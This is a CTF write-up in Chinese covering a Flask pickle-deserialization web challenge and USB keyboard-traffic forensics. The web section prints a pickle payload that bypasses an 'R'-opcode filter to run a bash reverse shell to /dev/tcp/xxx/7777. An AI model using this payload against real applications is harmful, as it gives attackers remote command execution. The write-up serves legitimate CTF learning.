前提
太菜了，所以这就算是记录，发出来图一乐
Web
easy_web
图片处有文件读取，读app.py
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0')有pickle反序列化，过滤R操作符
本来以为是需要c操作符变量覆盖然后SSTI，但发现可以用i和o绕过R操作符直接RCE，构造脚本。这里参考文章：
Python Pickle 反序列化安全问题
pickle反序列化的利用技巧总结
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxx/7777 0>&1"'
o.'''
print(base64.b64encode(data))传入cookie，反弹Shell，ls – a，抓flag
Misc
签到
知识点：
- 零宽隐写
- 文件md5
- rabbit加密
用到的工具库:CTF在线工具持续收录
baby_usb
键盘流量题
tshark -r whereiskey.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' > 1.txt
导出流量
改一下格式，然后找个脚本跑一下
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
跑出结果，然后把删去字符拿出来，得到密码
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